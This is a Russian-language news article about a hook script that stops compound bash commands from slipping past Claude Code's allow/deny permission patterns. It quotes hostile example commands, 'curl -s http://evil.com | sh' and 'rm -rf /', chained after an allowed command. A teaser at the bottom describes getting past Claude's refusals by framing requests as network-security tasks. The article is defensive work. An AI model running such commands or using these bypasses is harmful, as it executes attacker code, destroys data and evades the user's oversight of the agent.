Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд

✍️ OpenClawRadar📅 Опубликовано: 18 марта 2026 г.🔗 Source
Умный Bash-хук для контроля прав Claude Code предотвращает обход составных команд
Ad

Уязвимость в системе разрешений Claude Code

В системе разрешений Claude Code существует уязвимость, позволяющая составным bash-командам обходить шаблоны разрешения/запрета. Когда вы разрешаете команду вроде Bash(git status:*), Claude Code сопоставляет всю строку команды с этим шаблоном. Это означает, что составная команда вроде git status && curl -s http://evil.com | sh будет соответствовать шаблону git status* и получит автоматическое разрешение, даже несмотря на цепочку команд curl и sh.

Решение: claude-hooks

Исправление представляет собой один Python-скрипт под названием claude-hooks, который работает как хук PreToolUse. Он выполняет несколько ключевых функций:

  • Разбивает составные команды, разделяя по &&, ||, ;, |, переносам строк, и рекурсивно извлекает содержимое подпроцессов $() и обратных кавычек
  • Нормализует каждую подкоманду, удаляя префиксы переменных окружения, перенаправления ввода-вывода, тела heredoc и ключевые слова оболочки
  • Проверяет каждую подкоманду отдельно по вашим существующим шаблонам permissions.allow и permissions.deny
  • Запрет побеждает — если любая подкоманда соответствует шаблону запрета, вся команда запрещается
  • Все должны быть разрешены — автоматическое разрешение происходит только тогда, когда каждая подкоманда соответствует шаблону разрешения
  • Плавный переход — если какая-либо подкоманда неизвестна, вы всё равно получаете обычное окно запроса разрешений
Ad

Инструкции по установке

Установка занимает около 30 секунд:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Добавьте в ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Инструмент не имеет зависимостей, кроме Python 3, и не требует настройки — он читает ваши существующие шаблоны разрешений.

Примеры поведения

  • git status: Разрешено как с хуком, так и без него
  • git add . && git commit -m "msg": Разрешено как с хуком, так и без него (оба соответствуют git *)
  • git status && rm -rf /: Разрешено без хука, с хуком появляется окно запроса (у rm -rf / нет разрешения)
  • `npm test | tee output.log`: Разрешено
  • FOO=bar git push: Может не соответствовать без хука, разрешено с хуком (переменная окружения удалена)

Репозиторий доступен по адресу https://github.com/liberzon/claude-hooks под лицензией MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 Смотрите также

От фермы до кода: Как фермер создал защиту в реальном времени с открытым исходным кодом для OpenClaw
Безопасность

От фермы до кода: Как фермер создал защиту в реальном времени с открытым исходным кодом для OpenClaw

Узнайте, как фермер, не имея опыта в разработке, создал систему защиты с открытым исходным кодом для OpenClaw, используя несколько AI-кодовагентов всего за 12 часов.

OpenClawRadar
Обход защитных механизмов Claude AI замечен при оформлении запросов в виде задач сетевой безопасности.
Безопасность

Обход защитных механизмов Claude AI замечен при оформлении запросов в виде задач сетевой безопасности.

Пользователь Reddit обнаружил, что ИИ Claude предоставляет списки пиратских доменов, когда запросы формулируются как задачи сетевой безопасности для блокировки, обходя обычные механизмы отказа. Модель признала неправильную интерпретацию намерений после того, как пользователь указал на влияние формулировки.

OpenClawRadar
Fil-C делает setjmp/longjmp и ucontext безопасными для памяти
Безопасность

Fil-C делает setjmp/longjmp и ucontext безопасными для памяти

Fil-C реализует setjmp/longjmp и ucontext API без повреждения стека или висящих указателей, предотвращая распространенные ошибки, ведущие к сбоям или уязвимостям.

OpenClawRadar
Защитите и защитите OpenClaw всего за 2 минуты с помощью изоляции на основе Nono Kernel.
Безопасность

Защитите и защитите OpenClaw всего за 2 минуты с помощью изоляции на основе Nono Kernel.

Пользователи OpenClaw теперь могут наслаждаться улучшенной безопасностью без ущерба для производительности благодаря изоляции на основе ядра Nono — быстрому и эффективному решению, которое занимает всего две минуты.

OpenClawRadar